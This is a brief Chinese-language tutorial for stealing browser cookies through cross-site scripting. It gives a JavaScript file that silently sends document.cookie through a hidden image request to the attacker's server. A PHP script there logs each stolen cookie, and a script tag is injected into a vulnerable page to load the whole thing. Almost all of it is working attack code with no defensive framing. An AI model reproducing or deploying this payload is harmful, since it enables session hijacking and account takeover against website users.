在你服務器的html目錄下創建joke文件夾;
在joke文件夾中創建joke.js 和joke.php
joke.js 創建img標簽,將它的src屬性指向另一個腳本joke.php,這里關鍵的一點是:將頁面的cookie作為參數附加到url后面
joke.js代碼如下:
var img = document.createElement('img'); img.width = 0; img.height = 0; img.src = 'http://ip/joke/joke.php?joke='+encodeURIComponent(document.cookie);
joke.php解析請求里面的joke參數(即用戶的cookie),然后保存起來
joke.php代碼如下:
<?php @ini_set('display_errors',1); $str = $_GET['joke']; $filePath = "joke.php"; if(is_writable($filePath)==false){ echo "can't write"; }else{ $handler = fopen(filePath, "a"); fwrite($handler, $str); fclose($handler); } ?>
找到XSS漏洞后,輸入如下內容:
<script src="http://ip/joke/joke.js"></script>
#ip為你的服務器ip